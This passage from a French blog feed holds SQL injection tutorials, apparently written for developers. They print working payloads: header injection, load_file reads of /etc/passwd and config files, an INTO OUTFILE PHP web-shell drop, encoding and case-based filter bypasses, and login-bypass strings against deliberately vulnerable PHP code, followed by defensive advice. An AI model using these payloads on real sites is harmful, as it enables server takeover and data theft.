X_FORWARDED_FOR: &#039; union select user(),2--
Connection: close

id=1&amp;amp;amp;amp;note=10
</pre>
<p><strong>Scénario</strong></p>
<p>La fonction  get_real_ip() retrouvera l&#8217;entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur :  &#8216; union select 1,2&#8211;</p>
<p>La requête SQL deviendra :</p>
<blockquote><p>SELECT ip,titre FROM votes WHERE id = &#8216;1&#8242; AND ip = &#8216; &#8216; union select user(),1111&#8211;&#8217;</p></blockquote>
<p>Le nombre de lignes retourné sera 1 &gt; 0 donc le message suivant s&#8217;affichera :</p>
<blockquote><p>Désolé root@localhost mais vous avez déjà voté pour l&#8217;article 1111</p></blockquote>
<p><small>d&#8217;où root@localhost et 1111 correspondent respectivement à user() et 1111</small></p>
<p>Vous l&#8217;avez bien compris? Il est possible de polluer l&#8217;entête HTTP X_FORWARDED_FOR avec du code SQL (&#8216; union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d&#8217;une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l&#8217;utilisateur!</p>
<h2>MYSQL et la permission FILE</h2>
<h3>Lire un fichier avec load_file()</h3>
<p>Lors de la création d&#8217;un utilisateur dans MYSQL, l&#8217;administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l&#8217;utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d&#8217;une requête SELECT</p>
<p><strong>exemple :</strong></p>
<blockquote><p>SELECT load_file(&#8216;/home/user/data_articles.txt&#8217;) INTO articles ;</p></blockquote>
<p>Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d&#8217;une injection sql peut permettre aux attaquants de lire n&#8217;importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d&#8217;un autre utilisateur sur le même serveur!</p>
<blockquote><p>profile.php?id=-1 UNION SELECT null, load_file(&#8216;/home/victimuser/public_html/config.php&#8217;)&#8211;</p></blockquote>
<h3>Écriture dans un fichier (OUTFILE/DUMPFILE)</h3>
<p>Si la permission FILE est assignée à l&#8217;utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d&#8217;écriture soient assignés au dossier/fichier en question</p>
<p>Dans mysql les fonctions OUTFILE et DUMPFILE permettent d&#8217;écrire dans un fichier, ainsi un attaquant peut s&#8217;en servir pour injecter du code PHP:</p>
<p>Exemples:</p>
<pre class="brush: sql">profile.php?id=-1 UNION SELECT null, &#039;&lt;?php system(\$_GET[cmd]) ?&gt;&#039; INTO OUTFILE &#039;/home/victime.com/public_html/uploads/shell.php&#039;--

profile.php?id=-1 UNION SELECT null,  &#039;&lt;?php system(\$_GET[cmd]) ?&gt;&#039; INTO DUMPFILE &#039;/home/victime.com/public_html/uploads/shell.php&#039;--</pre>
<p>L&#8217;exécution de cette requête provoquera la création d&#8217;un script shell.php dans le dossier nommé &laquo;&nbsp;upload&nbsp;&raquo; et permettra à l&#8217;attaquant d&#8217;exécuter des commandes système sur le serveur avec les droits du daemon apache.. </p>
<blockquote><p>http://www.victime.ltd/uploads/shell.php?cmd=ls -l</p></blockquote>
<p>Je vous laisse imaginer les conséquences que cela peut engendrer =)</p>
<h2>SQL injection et urlencode()</h2>
<p>J&#8217;ai remarqué sur certain script l&#8217;utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n&#8217;est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :</p>
<blockquote><p>Page : index.php?page=test</p></blockquote>
<blockquote><p>$sql = mysql_query(&laquo;&nbsp;SELECT title,content FROM pages WHERE page_name = &#8216;&nbsp;&raquo;.urlencode($_GET['page']).&nbsp;&raquo; &#8216;&nbsp;&raquo;);</p></blockquote>
<p>Ce code peut bien échapper un signle quote d&#8217;où <em>index.php?page=test&#8217;</em> génèrera la requête<br />
<em>SELECT title,content FROM pages WHERE page_name =  &#8216;test%27&#8242;</em></p>
<p>Tout est normale jusque là! Le single quote &#8216; est encodé en %27, mais que se passera t&#8217;il si on re-urlencode notre %27 en %2527 ? :)</p>
<p>Résultat: Ca va injecter un &#8216; au nez de la requête, du coup l&#8217;appelle de la page :<br />
<em>index.php?page=test%2527 union select null, &#8216;Hello&#8217;&#8211;</em> va produire la requête suivante :</p>
<blockquote><p>SELECT title,content FROM pages WHERE page_name=&#8217;test&#8217; union select null,&#8217;Hello&#8217;&#8211;&#8217;</p></blockquote>
<p>Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)</p>
<h2>MySQL et magic_quote_gpc</h2>
<p>magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet<br />
d&#8217;ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si<br />
cette directive est activée, il n&#8217;est pas possible d&#8217;injecter un signle quote dans une requête à une<br />
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n&#8217;y a pas que $_GET/$_POST/$_COOKIE en PHP =)</p>
<p>Voici des exemples d&#8217;un contournement possible permettant d&#8217;injecter une chaine en l&#8217;encodant en hexadécimale :</p>
<blockquote><p>Profile.php?id=-1, load_file(0&#215;2f6574632f706173737764)&#8211;</p></blockquote>
<p>la chaine 0&#215;2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n&#8217;importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..</p>
<p>L&#8217;activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l&#8217;activer et se dire que vous êtes à l&#8217;abri :)</p>
<h2>les Filtres anti-sql injection</h2>
<p>Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l&#8217;utilisateurs et detecter une éventuelle tentative d&#8217;attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d&#8217;être contourné!</p>
<p>Voici un exemple d&#8217;un filtre qui detecte le mot clé UNION dans une requette:</p>
<pre class="brush: php">
$apply_to = array(&#039;GET&#039;,&#039;POST&#039;,&#039;COOKIE&#039;);
$bad_words = array(&#039;union&#039;,&#039;order by&#039;,&#039;select&#039;,&#039;from&#039;,&#039;where&#039;);
foreach($apply_to as $g){
foreach($$g as $key =&gt; $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die(&#039;SQL Injection Attempt detected&#039;);
// Writing the log attaque into log file
}
}
}
}
</pre>
<p>Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!</p>
<p>immaginons l&#8217;appelle de la page</p>
<blockquote><p>profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users&#8211;</p></blockquote>
<p>un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c&#8217;est juste un exemple pour dire qu&#8217;avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d&#8217;adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d&#8217;un pirate ;)</p>
<h2>Comment se protéger contrer les injections SQL?</h2>
<p>Voilà donc! J&#8217;ai essayé d&#8217;exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c&#8217;est que chaque programmeur aie une vision claire de ce qu&#8217;un attaquant peut faire en passant par une injection!</p>
<p>Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :</p>
<ul>
<li>Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l&#8217;exploitation d&#8217;une injection (si elle existe) plus difficile pour un attaquant!</li>
<li>Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!</li>
<li>Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête</li>
<li>Ne jamais donner les droits FILE aux utilisateurs mysql</li>
<li>Après l&#8217;installation d&#8217;un serveur dedié, pensez à  modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases! </li>
<li>N&#8217;utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()</li>
<li>Pensez toujours à lire les fichiers logs d&#8217;apache, repérez les URL suspect et vérifier si c&#8217;est susceptible d&#8217;être vulnerable :)</li>
</ul>
<p>Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J&#8217;espère que ce tutorial vous a été utile, n&#8217;hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://twitter.com/home?status=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://www.facebook.com/share.php?u=TARGET%26t=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;annotation=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;notes=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;bodytext=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://ping.fm/ref/?link=TARGET%26title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%26body=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=mailto:?subject=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;selection=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;submitHeadline=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;submitSummary=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>[Tutoriel] SQL Injection – Les classiques (partie1)</title>
		<link>http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html</link>
		<comments>http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html#comments</comments>
		<pubDate>Tue, 27 Oct 2009 01:36:03 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[protection sql injection]]></category>
		<category><![CDATA[securiser sql injection]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injection classique]]></category>
		<category><![CDATA[tutorial sql injection]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=350</guid>
		<description><![CDATA[TweetHello,
Aujourd&#8217;hui je vous parlerai d&#8217;un vecteur d&#8217;attaque très répondu sur internet, c&#8217;est SQL Injection, le sujet est très riche, j&#8217;ai donc décidé de le répartir en trois parties:

 Les injections SQL basiques
SQL Injection avancée
Blind SQL Injection

Dans ce billet, j&#8217;expliquerai le concept d&#8217;une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html" data-text="[Tutoriel] SQL Injection – Les classiques (partie1)" data-count="horizontal">Tweet</a><p><img style="margin:0 5px" align="left" class="size-thumbnail wp-image-349" title="sql_img" src="http://www.mcherifi.org/wp-content/uploads/2009/10/sql_img-150x150.jpg" alt="sql_img" width="140" height="140" />Hello,<br />
Aujourd&#8217;hui je vous parlerai d&#8217;un vecteur d&#8217;attaque très répondu sur internet, c&#8217;est SQL Injection, le sujet est très riche, j&#8217;ai donc décidé de le répartir en trois parties:</p>
<ul style="margin-left:155px;">
<li> Les injections SQL basiques</li>
<li>SQL Injection avancée</li>
<li>Blind SQL Injection</li>
</ul>
<p>Dans ce billet, j&#8217;expliquerai le concept d&#8217;une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d&#8217;attaques!</p>
<p>Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un <acronym title="Système de gestion de base de données">SGBD</acronym>, sachant que le concept d&#8217;une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu&#8217;on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!</p>
<p>Alors c&#8217;est parti =)</p>
<p><strong>SQL Injection, c&#8217;est quoi ?</strong></p>
<p>SQL Injection est parmi les vecteurs d&#8217;attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d&#8217;exécuter une requête non prévue par l&#8217;application, l&#8217;exploitation d&#8217;une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :</p>
<ul>
<li>Bypasser une authentification</li>
<li>Lire des données sensibles depuis les tables mySQL</li>
<li>Injecter le nom et le schéma de la base de données</li>
<li>Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP</li>
</ul>
<p><strong>Comment repérer une injection SQL?</strong></p>
<p>Une Injection SQL est souvent repérée par un attaquant grâce aux messages d&#8217;erreurs, le test est assez facile à faire, il suffit d&#8217;insérer un caractère spéciale (un signle quote &laquo;&nbsp;&#8216;&nbsp;&raquo; le plus souvent), ou modifier le type d&#8217;une variable utilisée dans une requête SQL, si la variable est mal filtrée l&#8217;exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection</p>
<blockquote><p>You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to use near
</p></blockquote>
<p>Et oui! c&#8217;est ça, merci <em><a href="http://php.net/mysql_error" target="_blank">mysql_error</a></em> =)</p>
<h2><strong>Et si on passe aux exemples?</strong></h2>
<p>Assez de blabla, là on passe aux exemples, et on commence par l&#8217;un des plus classiques :</p>
<p><strong>Bypasser une identification:</strong></p>
<p>Stanislas: un développeur en herbe a conçu un formulaire d&#8217;identification, qui permet de poster le nom d&#8217;utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c&#8217;est les bons et affiche un message selon le résultat:</p>
<p>Code :</p>
<pre class="brush: php">
// page processlogin.php
$username = $_POST[&#039;username&#039;];
$password = $_POST[&#039;password&#039;];
$sql = mysql_query(&quot;SELECT * FROM users WHERE username = &#039;$username&#039; AND password = &#039;$password&#039;&quot;) or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo &quot;Bienvenue $username dans votre espace membre!&quot;;
}
else
{
echo &quot;Nom d&#039;utilisateur et/ou mot de passe incorrecte&quot;;
}
</pre>
</p>
<p>Maintenant imaginons qu&#8217;un attaquant se connecte avec comme login : <em><strong>admin&#8217;&#8211;</strong></em>, la requête devient :</p>
<blockquote><p>SELECT * FROM users WHERE username = &#8216;<span style="color: #ff0000;">admin&#8217;&#8211;</span>&#8216; AND password = &#8216;$password&#8217;</p>
</blockquote>
<p>La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , <em>Bienvenue admin dans votre espace membre!</em></p>
<p>C&#8217;est juste un exemple! l&#8217;attaque peut se présenter différemment selon la requête SQL :</p>
<p>Exemple 2:</p>
<pre class="brush: php">
//...
$sql = mysql_query(&quot;SELECT * FROM users WHERE ( username=&#039;$username&#039; AND password = &#039;$password&#039; )&quot;);
</pre>
</p>
<p>Dans ce cas, pour bypasser l&#8217;identification il y a plusieurs possibilités, l&#8217;une est d&#8217;utiliser comme login: <span style="color: #ff0000;">admin&#8217;)&#8211;<br />
</span> ou encore, comme login : <span style="color:green">admin&#8217;) or (&#8216;a&#8217;='a</span>, le principe est de toujours forcer la requête à retourner true :)</p>
<p><strong>Injecter des données depuis une table</strong></p>
<p>On dit souvent que l&#8217;<strong>union fait la force</strong>! c&#8217;est le cas pour les injections SQL car là on arrive aux choses sérieuses!</p>
<p>la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l&#8217;UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!</p>
<p>Prenant l&#8217;exemple d&#8217;un petit forum, on considère une page profile.php qui affiche le profil d&#8217;un utilisateur donné à partir de son ID récupéré par $_GET</p>
<p>Code :</p>
<p>
<pre class="brush: php">
mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;&quot;);
mysql_select_db(&quot;test&quot;);
$user_id = $_GET[&#039;id&#039;];
$sql = mysql_query(&quot;SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id&quot;) or die(mysql_error());
if(mysql_num_rows($sql) &gt; 0)
{
